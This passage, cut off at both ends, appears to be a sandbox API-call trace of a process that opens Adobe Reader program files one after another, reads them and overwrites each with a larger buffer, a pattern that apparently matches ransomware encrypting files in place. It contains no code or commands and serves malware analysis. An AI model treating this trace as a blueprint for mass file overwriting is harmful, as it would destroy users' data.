(lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.339] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.340] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xa00 [0044.340] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.340] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.340] ReleaseMutex (hMutex=0x128) returned 1 [0044.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NOR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0044.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NOR", cchWideChar=16, lpMultiByteStr=0x1e7894c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.NOR", lpUsedDefaultChar=0x0) returned 16 [0044.340] ReadFile (in: hFile=0x198, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2e0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0044.348] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.348] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0044.348] CloseHandle (hObject=0x198) returned 1 [0044.348] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\QuickTime.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\quicktime.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.348] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.348] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xa00 [0044.348] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.349] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.349] ReleaseMutex (hMutex=0x128) returned 1 [0044.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HRV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0044.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.HRV", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.HRV", lpUsedDefaultChar=0x0) returned 13 [0044.349] ReadFile (in: hFile=0x198, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2e0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0044.354] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.354] WriteFile (in: hFile=0x198, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2e0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0044.354] CloseHandle (hObject=0x198) returned 1 [0044.354] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\Flash.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\flash.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.354] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.355] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xa00 [0044.355] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.355] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.355] ReleaseMutex (hMutex=0x128) returned 1 [0044.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUM", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUM", cchWideChar=9, lpMultiByteStr=0x1e6342c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.RUM", lpUsedDefaultChar=0x0) returned 9 [0044.355] ReadFile (in: hFile=0x198, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2e0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0044.364] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.364] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0044.364] CloseHandle (hObject=0x198) returned 1 [0044.364] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\QuickTime.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\quicktime.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.364] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.364] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xa00 [0044.364] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.364] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.365] ReleaseMutex (hMutex=0x128) returned 1 [0044.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SKY", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0044.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SKY", cchWideChar=13, lpMultiByteStr=0x1e6338c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SKY", lpUsedDefaultChar=0x0) returned 13 [0044.365] ReadFile (in: hFile=0x198, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2e0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0044.369] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.369] WriteFile (in: hFile=0x198, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2e0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0044.370] CloseHandle (hObject=0x198) returned 1 [0044.370] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\Flash.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\flash.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.370] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.370] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xa00 [0044.370] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.371] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.371] ReleaseMutex (hMutex=0x128) returned 1 [0044.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.UKR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.UKR", cchWideChar=9, lpMultiByteStr=0x1e6302c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.UKR", lpUsedDefaultChar=0x0) returned 9 [0044.371] ReadFile (in: hFile=0x198, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2e0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0044.379] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.379] WriteFile (in: hFile=0x198, lpBuffer=0x2737c98*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2737c98*, lpNumberOfBytesWritten=0x2e0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0044.379] CloseHandle (hObject=0x198) returned 1 [0044.379] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Search.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\search.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.380] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.380] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x69063 [0044.380] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.380] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.380] ReleaseMutex (hMutex=0x128) returned 1 [0044.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0044.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.api", cchWideChar=10, lpMultiByteStr=0x1e630ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.api", lpUsedDefaultChar=0x0) returned 10 [0044.381] ReadFile (in: hFile=0x198, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.389] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x68063 [0044.389] ReadFile (in: hFile=0x198, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.396] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x68063 [0044.397] WriteFile (in: hFile=0x198, lpBuffer=0x1dece18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.397] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0044.397] WriteFile (in: hFile=0x198, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.397] CloseHandle (hObject=0x198) returned 1 [0044.397] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc\\myriadcad.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.398] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.398] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x131c4 [0044.398] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.398] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.398] ReleaseMutex (hMutex=0x128) returned 1 [0044.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadCAD.otf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0044.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadCAD.otf", cchWideChar=13, lpMultiByteStr=0x1e6342c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadCAD.otf", lpUsedDefaultChar=0x0) returned 13 [0044.398] ReadFile (in: hFile=0x198, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0044.402] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x121c4 [0044.402] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.406] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x121c4 [0044.406] WriteFile (in: hFile=0x198, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.407] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0044.407] WriteFile (in: hFile=0x198, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.407] CloseHandle (hObject=0x198) returned 1 [0044.407] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bl.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\bl.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.407] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.407] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x53 [0044.407] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.407] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.407] ReleaseMutex (hMutex=0x128) returned 1 [0044.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bl.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0044.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bl.gif", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bl.gif", lpUsedDefaultChar=0x0) returned 6 [0044.408] ReadFile (in: hFile=0x198, lpBuffer=0x1e8e928, nNumberOfBytesToRead=0x53, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8e928*, lpNumberOfBytesRead=0x2e0f2bc*=0x53, lpOverlapped=0x0) returned 1 [0044.408] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.408] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5db, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5db, lpOverlapped=0x0) returned 1 [0044.409] CloseHandle (hObject=0x198) returned 1 [0044.409] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_super.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.409] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.409] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x228 [0044.409] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.409] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.409] ReleaseMutex (hMutex=0x128) returned 1 [0044.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_super.gif", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_super.gif", cchWideChar=15, lpMultiByteStr=0x1e6322c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="forms_super.gif", lpUsedDefaultChar=0x0) returned 15 [0044.410] ReadFile (in: hFile=0x198, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x228, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x2e0f2bc*=0x228, lpOverlapped=0x0) returned 1 [0044.410] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.410] WriteFile (in: hFile=0x198, lpBuffer=0x1de4e08*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x7b0, lpOverlapped=0x0) returned 1 [0044.411] CloseHandle (hObject=0x198) returned 1 [0044.411] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_browser.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_browser.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.411] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.411] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x47f [0044.411] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.411] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.411] ReleaseMutex (hMutex=0x128) returned 1 [0044.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_browser.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0044.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_browser.gif", cchWideChar=18, lpMultiByteStr=0x1e78974, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_browser.gif", lpUsedDefaultChar=0x0) returned 18 [0044.411] ReadFile (in: hFile=0x198, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x47f, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x2e0f2bc*=0x47f, lpOverlapped=0x0) returned 1 [0044.423] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.423] WriteFile (in: 